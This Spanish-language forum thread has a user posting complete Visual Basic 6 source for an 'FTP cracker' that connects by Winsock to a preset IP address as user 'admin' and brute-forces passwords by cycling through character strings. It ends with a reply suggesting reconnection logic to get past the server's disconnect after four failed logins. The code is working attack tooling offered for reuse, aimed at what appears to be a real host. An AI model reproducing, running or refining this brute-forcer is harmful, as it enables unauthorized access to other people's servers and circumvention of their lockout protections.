Programación General > Visual Basic 6.0 e inferiores

 CRACKER ME LO REVISAN?

(1/1)

79137913:
HOLA!!!
Como andan, quisiera que me revisaran el codigo de un FTP CRACKER por medio de un winSOCK(telnet) que hice recien  :comp: .
El proyecto a mi parecer esta completo, consiste en un proyecto (disculpen la redundancia) con el componente winsock, un form y un modulo bas normal.

Dentro del form hay:
1 textbox multilinea llamado INx
1 texbox normal llamado OUTx
1 winsock llamado TELNET

el codigo del form es este:


--- Código: Visual Basic --- Public CT As IntegerPublic FAILED As StringPublic ACUSER As StringPublic USER As StringPublic CONTROL As Integer Private Sub Form_Load()    CONTROL = vbNo    Telnet.RemoteHost = InputBox("HOST", "INSERTE", "173.236.40.122")    Telnet.RemotePort = InputBox("PUERTO", "INSERTE", 21)    FAILED = InputBox("CODIGO DE CONTRASEÑA INVALIDA", "INSERTE", 530)    ACUSER = InputBox("CODIGO DE USUARIO ACEPTADO", "INSERTE", 331)    USER = InputBox("USUARIO", "INSERTE", "admin")    Call BORRAR_VECTOR    Telnet.ConnectEnd Sub Private Sub Form_Resize()    If Me.Height > 701 Then        inx.Width = Me.Width        inx.Height = Me.Height - 700        outx.Width = Me.Width        outx.Top = inx.Height    End IfEnd Sub Private Sub Form_Unload(Cancel As Integer)    Telnet.Close    EndEnd Sub Private Sub telnet_DataArrival(ByVal bytesTotal As Long)    Dim strData As String    Telnet.GetData strData    inx.Text = inx.Text & strData    If CONTROL = vbNo Then        Call ANALIZAR(Mid(strData, 1, 3))    End If        If CT Mod 2 Then        Call NUEVAPASS            outx.Text = "pass " & PASS            Call outx_KeyPress(vbKeyReturn)        Else            outx.Text = "user " & USER            Call outx_KeyPress(vbKeyReturn)    End IfEnd Sub Private Sub outx_KeyPress(KeyAscii As Integer)    If KeyAscii = vbKeyReturn Then        Telnet.SendData outx.Text & vbCrLf        outx.Text = ""        outx.SetFocus    End IfEnd Sub Private Sub ANALIZAR(CODE As String)    CT = CT + 1    If Not (CODE = ACUSER Or CT = 1 Or CODE = FAILED) Then        CONTROL = MsgBox("CODIGO EXTRAÑO(" & CODE & ") CON PASSWORD ''" & PASS & "'' DESEA TOMAR EL CONTROL DE LA TERMINAL (SI) O DESEA QUE CONTINUE EL ATAQUE DE FUERZA BRUTA (NO)", vbYesNo)    End IfEnd Sub  
Y el codigo del modulo es:

--- Código: Visual Basic --- Dim PASSNUM(17) As IntegerDim PASSLET(17) As StringPublic PASS As String Public Sub BORRAR_VECTOR()    PASSNUM(1) = 47    For X = 2 To 16        PASSNUM(X) = 0    Next XEnd Sub Public Sub NUEVAPASS()    PASSNUM(1) = PASSNUM(1) + 1    Call ORDENAR    Call CONVERTIR    Call CONCATENAREnd Sub Private Sub ORDENAR()    For X = 1 To 16        If PASSNUM(X) = 124 Then            If PASSNUM(X + 1) = 0 Then                PASSNUM(X + 1) = 47            End If            PASSNUM(X + 1) = PASSNUM(X + 1) + 1        End If    Next X    If PASSNUM(17) = 1 Then        MsgBox "TODAS LAS CLAVES PROBADAS", , "ERROR"        End    End IfEnd Sub Private Sub CONVERTIR()    For X = 1 To 16        If PASSNUM(X) <> 0 Then            PASSLET(X) = Chr(PASSNUM(X))        End If    Next XEnd Sub Private Sub CONCATENAR()    PASS = ""    For X = 1 To 16        PASS = PASS & PASSLET(X)    Next XEnd Sub  

Si quieren usar algo del codigo no hay problema, pero igual es muy rudimentario.

El problema principal es que bueno, tardaria mucho pero en fin, es fuerza bruta  :hitcomp:




 :)  :)  :)  :)  :)  GRACIAS DE ANTEMANO  :)  :)  :)  :)  :)

79137913:
POR FAVOR, EL PROBLEMA ES QUE EL SERVIDOR SE DESCONECTA EN EL 4 INTENTO INVALIDO, PERO NO ME AVISA, SI AVISARIA, PODRIA HACER LA RECONECCION, PLZZ AYUDA, AUNQUE SEA EL MODERADOR QUE AYUDE.

Thanatos-chan:
que tal  B)

en mi opinion:

1-el titulo no te ayuda, mas facil hubieras ido a un foro de "hackers", porque si hay alguien que supiera de este tema solo por el titulo, no te va a ayudar.
2-si es un trabajo de universidad, escuela, menudo trabajo ese...  :P , al parecer tu profesor se canso de poner trabajo de recorer la matriz y sumar...pero si es un proyecto personal tuyo...por el titulo y lo que se supone quieres hacer, no todo el mundo es de mente tan abierta para darte una mano.

ya sobre el tema.

te recomiendo, concentres en el objeto tenet, te caeria bien abrir otro tema y esta ves menos hacker... B) .

esta pagina te describe el objeto,

http://msdn.microsoft.com/en-us/library/aa228119%28v=VS.60%29.aspx chequeala.

encontraras la propiedad state junto con el listado de valores.  asi podrias siempre chequear el estado de la conexión antes de usar la rutina.

igualmente. deberias crear una subrutina de conexion y no ponerla solo en el load_form.

79137913:
GENIO GRACIAS!!!

Navegación

[0] Índice de Mensajes